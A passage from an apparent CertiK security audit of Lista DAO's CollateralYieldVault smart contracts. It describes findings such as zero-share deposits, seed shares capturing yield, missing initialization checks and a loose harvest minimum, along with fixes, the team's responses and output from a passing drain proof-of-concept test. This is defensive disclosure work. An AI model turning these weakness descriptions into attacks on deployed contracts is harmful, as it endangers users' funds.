[⠒] Compiling...
No files changed, compilation skipped

Ran 1 test for test/moolah-
vault/CollateralYieldVaultAudit.t.sol:CollateralYieldVaultAuitTest
[PASS] test_crossMarketAggregateNavLetsShareholderDrainConfiguredMarketLiquidity()
(gas: 1734732)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.41s (4.82ms CPU time)

Ran 1 test suite in 2.41s (2.41s CPU time): 1 tests passed, 0 failed, 0 skipped (1
total tests)
```

Recommendation

It's recommended to scope vault NAV and all fee baseline updates to the configured market.

Alleviation

[Lista Dao, 06/17/2026]: Fix in the resolution commit by using `MOOLAH.position(marketParams.id(), address(this)).collateral`

https://github.com/lista-dao/moolah/tree/802354d52c754b80035b63ea8ba371fbd35eab63

LDC-04 Small `deposit` Calls Can Transfer Assets Into The Vault While Minting Zero Shares

Category	Severity	Location	Status
Logical Issue	Minor	src/moolah-vault/CollateralYieldVault.sol (06/15-7f78b1): 152, 357, 405	Resolved

Description

`deposit` can accept a positive `assets` amount while minting `0` shares, so a caller can lose the full deposit as a donation to existing shareholders.

The root cause is that `deposit` computes shares with floor rounding and never checks that the result is non-zero. If `assets * (totalSupply + 1) < totalAssets + 1`, `_convertToSharesWithTotals` returns `0`, but `_deposit` still executes `super._deposit` and then supplies the transferred slisBNB into the provider-backed position.

This state is reachable in normal operation because the vault is designed for share price appreciation through compounded rewards. Once price per share rises above 1, sufficiently small deposits will round down to zero. A user or integrator that submits such an amount receives no shares and has no claim on the deposited assets.

Recommendation

Revert `deposit` when `shares == 0` for a positive `assets` input, matching the protection already present in `depositBNB`, and consider exposing or enforcing a user-supplied minimum-share slippage check for integrations.

Alleviation

[Lista Dao, 06/17/2026]: Fixed in resolution:

https://github.com/lista-dao/moolah/tree/802354d52c754b80035b63ea8ba371fbd35eab63

LDC-05 Virtual Shares And Dead Seed Deposit Shares Will Share Revenue

Category	Severity	Location	Status
Logical Issue	Minor	src/moolah-vault/CollateralYieldVault.sol (06/15-7f78b1): 405, 414	Acknowledged

Description

When `RewardHarvester` earns rewards and injects them into `CollateralYieldVault` via `increaseVaultAssets()`, or when rewards are donated directly to the contract through `PROVIDER.supplyCollateral()`, a portion of those rewards will be allocated to the virtual share and the shares created through the dead seed deposit.

Even when the contract has no actual staking users, all rewards after fees will be allocated to these two types of shares. This reduces the yield actually received by users, and may even result in all rewards being assigned to addresses that cannot withdraw them. This portion of the rewards will be permanently lost.

Recommendation

Since the virtual share and dead seed deposit are intentionally introduced to defend against first deposit/donate attacks, we do not recommend removing this design. However, the protocol should avoid allowing the virtual share or permanently locked seed shares to continuously capture vault yield. Consider minting the seed deposit shares to a protocol-controlled treasury/recovery address instead of an unrecoverable address, or implementing an accounting/recycling mechanism to return yield attributable to seed shares back to the vault or real users. This preserves the intended first-deposit protection while preventing part of the vault yield from being permanently lost.

Alleviation

[Lista Dao, 06/17/2026]: Acknowledged. Will mint the seed to a 3/6 multi-sig

LDC-06 Missing Fail-Fast Market And Provider Validation During Initialization

Category	Severity	Location	Status
Coding Style	Informational	src/moolah-vault/CollateralYieldVault.sol (06/15-7f78b1): 122, 135	Resolved

Description

`CollateralYieldVault.initialize` stores the full Moolah `MarketParams` tuple but only verifies that `collateralToken` matches the provider's slisBNB token. It does not fail fast when the derived market id does not exist on Moolah, when `SlisBNBProvider` is not registered as the collateral provider for that market, or when the vault address cannot supply on that market. A mistaken deployment configuration can brick deposits and other core flows, or, in a narrow edge case, create a mismatch between Moolah collateral and provider-reported NAV.

Configuration Detail

The vault binds all collateral operations to a single stored `marketParams` value set at initialization. There is no post-init setter; correcting a wrong tuple requires a UUPS implementation upgrade.

```
// File: src/moolah-vault/CollateralYieldVault.sol
  function initialize(
    address admin,
    address manager,
    address pauser,
    MarketParams calldata _marketParams,
    string memory _name,
    string memory _symbol
  ) external initializer {
    if (admin == address(0) || manager == address(0) || pauser == address(0)) revert
ErrorsLib.ZeroAddress();
    if (_marketParams.collateralToken != SLIS_BNB) revert ErrorsLib.TokenMismatch();
    ...
    marketParams = _marketParams;
```

Moolah identifies markets by hashing the entire tuple (`loanToken`, `collateralToken`, `oracle`, `irm`, `lltv`). Supply and withdrawal require the market to exist:

```
// File: src/moolah/Moolah.sol
  function supplyCollateral(
    MarketParams memory marketParams,
    uint256 assets,
    address onBehalf,
    bytes calldata data
  ) external whenNotPaused nonReentrant {
    Id id = marketParams.id();
    require(isWhiteList(id, onBehalf), ErrorsLib.NOT_WHITELIST);
    require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
```

When a collateral provider is registered for the market, only that provider may call `supplyCollateral`:

```
// File: src/moolah/Moolah.sol
    address provider = providers[id][marketParams.collateralToken];
    if (provider != address(0)) {
      require(msg.sender == provider, ErrorsLib.NOT_PROVIDER);
    }
```

`SlisBNBProvider._syncPosition` only credits synced collateral when **this** provider is registered for the market id:

```
// File: src/provider/SlisBNBProvider.sol
  function _syncPosition(Id id, address account) internal returns (bool, uint256) {
    require(MOOLAH.idToMarketParams(id).collateralToken == TOKEN, "invalid market");
    uint256 userMarketSupplyCollateral = MOOLAH.position(id, account).collateral;
    if (MOOLAH.providers(id, TOKEN) != address(this)) {
      userMarketSupplyCollateral = 0;
    }
```

Failure modes from incomplete validation

1. **Non-existent market (wrong oracle / loan token / IRM / LLTV):**
   `deposit`, `depositBNB`, `increaseVaultAssets`, and `sweep` eventually call `PROVIDER.supplyCollateral(marketParams, ...)`, which reverts with `MARKET_NOT_CREATED`. Because `super._deposit` and token transfers occur in the same transaction before the external supply, the full call reverts and user slisBNB is not consumed. The deployed vault instance is unusable until upgraded or redeployed.

2. **Existing market with a different registered provider:**
   `SlisBNBProvider` is not the `msg.sender` allowed by Moolah, so deposits revert with `NOT_PROVIDER`. This has the same brick behavior and no silent partial success.

3. **Existing market with no registered provider (`providers(id, TOKEN) == address(0)`):**
   Supply through `SlisBNBProvider` can succeed on Moolah, but `_syncPosition` forces `userMarketSupplyCollateral = 0`, so `totalAssets()` / `userTotalDeposit(vault)` under-reports collateral while shares may still be minted. This is the only failure mode with a direct accounting consequence, but it requires a trusted deployment to choose an

unregistered slisBNB market. It is atypical for Lista mainnet markets created via `MarketFactory`, which registers `SlisBNBProvider`.

Recommendation

It's recommended to add defensive checks in `initialize` before assigning `marketParams`.

Alleviation

[Lista Dao, 06/17/2026]: Fixed in resolution:

https://github.com/lista-dao/moolah/tree/802354d52c754b80035b63ea8ba371fbd35eab63

LDC-08 | Strict Whitelisted Model

Category	Severity	Location	Status
Design Issue, Logical Issue	Informational	src/moolah-vault/CollateralYieldVault.sol (06/15-7f78b1): 376~381	Resolved

Description

Regarding the design of whitelisted holders, we would like to confirm with the team whether transfers are only allowed between whitelisted holders, or whether tokens can only be transferred *to* whitelisted holders. Based on the code, it appears to align more with the first approach, while the comments suggest the second.

`CollateralYieldVault.sol`

```
375
/// @dev Restrict share transfers to whitelisted holders (mint/burn always allowed).
376     function _update(address from, address to, uint256 value) internal override {
377       if (from != address(0) && to != address(0)) {
378         require(isWhiteList(from) && isWhiteList(to), ErrorsLib.NotWhiteList());
379       }
380       super._update(from, to, value);
381     }
```

Recommendation

We recommend that the project clearly define its intended transfer permission model.

Alleviation

[Lista Dao, 06/17/2026]: Fixed the comment in the resolution:

https://github.com/lista-dao/moolah/tree/8e00f37389d4894aaf6b5de19b91fd7ef64ca5f0

LDC-09 Harvest Minimum Uses Total Balance Instead Of Claimed Amount

Category	Severity	Location	Status
Design Issue	Informational	src/utils/RewardHarvester.sol (06/15-7f78b1): 72~75	Acknowledged

Description

`RewardHarvester.harvest()` validates `minBNBOut` against the contract's full native BNB balance after claims, not against the amount received during the current harvest. Pre-existing BNB in the harvester can therefore satisfy the minimum output check even if the current claim batch pays less than expected.

The harvester claims each unclaimed epoch and then reads `address(this).balance`:

```
// File: src/utils/RewardHarvester.sol
function harvest(ClaimParams[] calldata claims, uint256 minBNBOut) external
onlyRole(BOT) nonReentrant {
  for (uint256 i; i < claims.length; ++i) {
    // The Merkle tree's `_account` is configured off-chain to this RewardHarvester,
so the distributor pays the
    // launchpool BNB to this contract — receiving it on behalf of the vault — and
we then compound it in.
    // Skip already-claimed epochs to keep the batch idempotent.
    if (DISTRIBUTOR.claimed(claims[i].epochId, address(this))) continue;
    DISTRIBUTOR.claim(claims[i].epochId, address(this), claims[i].amount,
claims[i].proof);
  }

  uint256 bnbBal = address(this).balance;
  if (bnbBal == 0) revert NothingToCompound();
  if (bnbBal < minBNBOut) revert InsufficientReward();

  VAULT.increaseVaultAssets{ value: bnbBal }();

  emit Harvested(claims.length, bnbBal);
}
```

The check does not distinguish between:

- BNB received from the current `DISTRIBUTOR.claim()` calls.
- BNB that was already held by the harvester before the call.
- BNB sent directly to the harvester through `receive()`.

Because `receive()` accepts arbitrary native BNB, the harvester can hold BNB that is unrelated to the current claim batch.

```
// File: src/utils/RewardHarvester.sol
/// @notice Receive launchpool BNB rewards from the distributor.
receive() external payable {}
```

The intended recovery path for such balances is `rescue()`, which is **MANAGER-only** and can send native BNB or ERC20 to an operator-chosen address (e.g. treasury, manual handling of non-vault rewards):

```
// File: src/utils/RewardHarvester.sol
/// @notice Emergency recovery of stranded tokens/BNB (e.g. a non-BNB reward token).
Manager-only.
function rescue(address token, address to, uint256 amount) external
onlyRole(MANAGER) {
```

As a result, `minBNBOut` is not a reliable lower bound for the current harvest. For example, if the harvester already holds `10 ether` that MANAGER has not yet rescued, and the current claim batch only receives `1 ether`, a call with `minBNBOut = 10 ether` succeeds even though the current claims are below the requested minimum.

Recommendation

The current implementation maybe intended by design, if not, consider tracking the native balance before claiming and validate the delta.

Alleviation

[Lista Dao, 06/17/2026]: Yes it's intended by design.

OPTIMIZATIONS | LISTA DAO (COLLATERALYIELDVAULT) - AUDIT

ID	Title	Category	Severity	Status
LDC-07	Rescue Should Reject The Harvester Contract As Recipient	Code Optimization	Optimization	Resolved

LDC-07 | Rescue Should Reject The Harvester Contract As Recipient

Category	Severity	Location	Status
Code Optimization	Optimization	src/utils/RewardHarvester.sol (06/15-7f78b1): 83	Resolved

Description

`RewardHarvester.rescue()` only rejects `to == address(0)`. It allows `to == address(this)`, so a MANAGER can "rescue" native BNB or ERC20 to the harvester itself. The transfer succeeds but funds never leave the contract, the `Rescued` event suggests an outbound recovery, and stranded balances remain subject to the next `harvest()` full-balance compound.

```
// File: src/utils/RewardHarvester.sol
/// @notice Emergency recovery of stranded tokens/BNB (e.g. a non-BNB reward token).
Manager-only.
function rescue(address token, address to, uint256 amount) external
onlyRole(MANAGER) {
  require(to != address(0), "zero to");
  if (token == address(0)) {
    (bool ok, ) = payable(to).call{ value: amount }("");
    require(ok, "bnb transfer failed");
  } else {
    IERC20(token).safeTransfer(to, amount);
  }
  emit Rescued(token, to, amount);
}
```

Recommendation

Reject the harvester address as a rescue destination alongside the zero address:

```
function rescue(address token, address to, uint256 amount) external
onlyRole(MANAGER) {
  require(to != address(0) && to != address(this), "invalid to");
  ...
}
```

Alleviation

[Lista Dao, 06/17/2026]: Fixed in resolution:

https://github.com/lista-dao/moolah/tree/802354d52c754b80035b63ea8ba371fbd35eab63

APPENDIX | LISTA DAO (COLLATERALYIELDVAULT) - AUDIT

Finding Categories

Categories	Description
Centralization	Centralization findings detail the design choices of designating privileged roles or other centralized controls over the code.
Design Issue	Design Issue findings indicate general issues at the design level beyond program logic that are not covered by other finding categories.
Logical Issue	Logical Issue findings indicate general implementation issues related to the program logic.
Coding Style	Coding Style findings may not affect code behavior, but indicate areas where coding practices can be improved to make the code more understandable and maintainable.
Code Optimization	No description available.

DISCLAIMER | CERTIK

This report is subject to the terms and conditions (including without limitation, description of services, confidentiality, disclaimer and limitation of liability) set forth in the Services Agreement, or the scope of services, and terms and conditions provided to you ("Customer" or the "Company") in connection with the Agreement. This report provided in connection with the Services set forth in the Agreement shall be used by the Company only to the extent permitted under the terms and conditions set forth in the Agreement. This report may not be transmitted, disclosed, referred to or relied upon by any person for any purposes, nor may copies be delivered to any other person other than the Company, without CertiK's prior written consent in each instance.

This report is not, nor should be considered, an "endorsement" or "disapproval" of any particular project or team. This report is not, nor should be considered, an indication of the economics or value of any "product" or "asset" created by any team or project that contracts CertiK to perform a security assessment. This report does not provide any warranty or guarantee regarding the absolute bug-free nature of the technology analyzed, nor do they provide any indication of the technologies proprietors, business, business model or legal compliance.

This report should not be used in any way to make decisions around investment or involvement with any particular project. This report in no way provides investment advice, nor should be leveraged as investment advice of any sort. This report represents an extensive assessing process intending to help our customers increase the quality of their code while reducing the high level of risk presented by cryptographic tokens and blockchain technology.

Blockchain technology and cryptographic assets present a high level of ongoing risk. CertiK's position is that each company and individual are responsible for their own due diligence and continuous security. CertiK's goal is to help reduce the attack vectors and the high level of variance associated with utilizing new and consistently changing technologies, and in no way claims any guarantee of security or functionality of the technology we agree to analyze.

The assessment services provided by CertiK is subject to dependencies and under continuing development. You agree that your access and/or use, including but not limited to any services, reports, and materials, will be at your sole risk on an as-is, where-is, and as-available basis. Cryptographic tokens are emergent technologies and carry with them high levels of technical risk and uncertainty. The assessment reports could include false positives, false negatives, and other unpredictable results. The services may access, and depend upon, multiple layers of third-parties.

ALL SERVICES, THE LABELS, THE ASSESSMENT REPORT, WORK PRODUCT, OR OTHER MATERIALS, OR ANY PRODUCTS OR RESULTS OF THE USE THEREOF ARE PROVIDED "AS IS" AND "AS AVAILABLE" AND WITH ALL FAULTS AND DEFECTS WITHOUT WARRANTY OF ANY KIND. TO THE MAXIMUM EXTENT PERMITTED UNDER APPLICABLE LAW, CERTIK HEREBY DISCLAIMS ALL WARRANTIES, WHETHER EXPRESS, IMPLIED, STATUTORY, OR OTHERWISE WITH RESPECT TO THE SERVICES, ASSESSMENT REPORT, OR OTHER MATERIALS. WITHOUT LIMITING THE FOREGOING, CERTIK SPECIFICALLY DISCLAIMS ALL IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, TITLE AND NON-INFRINGEMENT, AND ALL WARRANTIES ARISING FROM COURSE OF DEALING, USAGE, OR TRADE PRACTICE. WITHOUT LIMITING THE FOREGOING, CERTIK MAKES NO WARRANTY OF ANY KIND THAT THE SERVICES, THE LABELS, THE ASSESSMENT REPORT, WORK PRODUCT, OR OTHER MATERIALS, OR ANY PRODUCTS OR RESULTS OF THE USE THEREOF, WILL MEET CUSTOMER'S OR ANY OTHER PERSON'S REQUIREMENTS, ACHIEVE ANY INTENDED RESULT, BE COMPATIBLE OR WORK WITH ANY SOFTWARE, SYSTEM, OR OTHER SERVICES, OR BE SECURE, ACCURATE, COMPLETE, FREE OF HARMFUL CODE, OR ERROR-FREE. WITHOUT LIMITATION TO THE FOREGOING, CERTIK PROVIDES NO WARRANTY OR

UNDERTAKING, AND MAKES NO REPRESENTATION OF ANY KIND THAT THE SERVICE WILL MEET CUSTOMER'S REQUIREMENTS, ACHIEVE ANY INTENDED RESULTS, BE COMPATIBLE OR WORK WITH ANY OTHER SOFTWARE, APPLICATIONS, SYSTEMS OR SERVICES, OPERATE WITHOUT INTERRUPTION, MEET ANY PERFORMANCE OR RELIABILITY STANDARDS OR BE ERROR FREE OR THAT ANY ERRORS OR DEFECTS CAN OR WILL BE CORRECTED.

WITHOUT LIMITING THE FOREGOING, NEITHER CERTIK NOR ANY OF CERTIK'S AGENTS MAKES ANY REPRESENTATION OR WARRANTY OF ANY KIND, EXPRESS OR IMPLIED AS TO THE ACCURACY, RELIABILITY, OR CURRENCY OF ANY INFORMATION OR CONTENT PROVIDED THROUGH THE SERVICE. CERTIK WILL ASSUME NO LIABILITY OR RESPONSIBILITY FOR (I) ANY ERRORS, MISTAKES, OR INACCURACIES OF CONTENT AND MATERIALS OR FOR ANY LOSS OR DAMAGE OF ANY KIND INCURRED AS A RESULT OF THE USE OF ANY CONTENT, OR (II) ANY PERSONAL INJURY OR PROPERTY DAMAGE, OF ANY NATURE WHATSOEVER, RESULTING FROM CUSTOMER'S ACCESS TO OR USE OF THE SERVICES, ASSESSMENT REPORT, OR OTHER MATERIALS.

ALL THIRD-PARTY MATERIALS ARE PROVIDED "AS IS" AND ANY REPRESENTATION OR WARRANTY OF OR CONCERNING ANY THIRD-PARTY MATERIALS IS STRICTLY BETWEEN CUSTOMER AND THE THIRD-PARTY OWNER OR DISTRIBUTOR OF THE THIRD-PARTY MATERIALS.

THE SERVICES, ASSESSMENT REPORT, AND ANY OTHER MATERIALS HEREUNDER ARE SOLELY PROVIDED TO CUSTOMER AND MAY NOT BE RELIED ON BY ANY OTHER PERSON OR FOR ANY PURPOSE NOT SPECIFICALLY IDENTIFIED IN THIS AGREEMENT, NOR MAY COPIES BE DELIVERED TO, ANY OTHER PERSON WITHOUT CERTIK'S PRIOR WRITTEN CONSENT IN EACH INSTANCE.

NO THIRD PARTY OR ANYONE ACTING ON BEHALF OF ANY THEREOF, SHALL BE A THIRD PARTY OR OTHER BENEFICIARY OF SUCH SERVICES, ASSESSMENT REPORT, AND ANY ACCOMPANYING MATERIALS AND NO SUCH THIRD PARTY SHALL HAVE ANY RIGHTS OF CONTRIBUTION AGAINST CERTIK WITH RESPECT TO SUCH SERVICES, ASSESSMENT REPORT, AND ANY ACCOMPANYING MATERIALS.

THE REPRESENTATIONS AND WARRANTIES OF CERTIK CONTAINED IN THIS AGREEMENT ARE SOLELY FOR THE BENEFIT OF CUSTOMER. ACCORDINGLY, NO THIRD PARTY OR ANYONE ACTING ON BEHALF OF ANY THEREOF, SHALL BE A THIRD PARTY OR OTHER BENEFICIARY OF SUCH REPRESENTATIONS AND WARRANTIES AND NO SUCH THIRD PARTY SHALL HAVE ANY RIGHTS OF CONTRIBUTION AGAINST CERTIK WITH RESPECT TO SUCH REPRESENTATIONS OR WARRANTIES OR ANY MATTER SUBJECT TO OR RESULTING IN INDEMNIFICATION UNDER THIS AGREEMENT OR OTHERWISE.

FOR AVOIDANCE OF DOUBT, THE SERVICES, INCLUDING ANY ASSOCIATED ASSESSMENT REPORTS OR MATERIALS, SHALL NOT BE CONSIDERED OR RELIED UPON AS ANY FORM OF FINANCIAL, TAX, LEGAL, REGULATORY, OR OTHER ADVICE.

Elevate Your Web3 Journey

CertiK is the largest Web3 security platform combining formal verification with audits and comprehensive security solutions.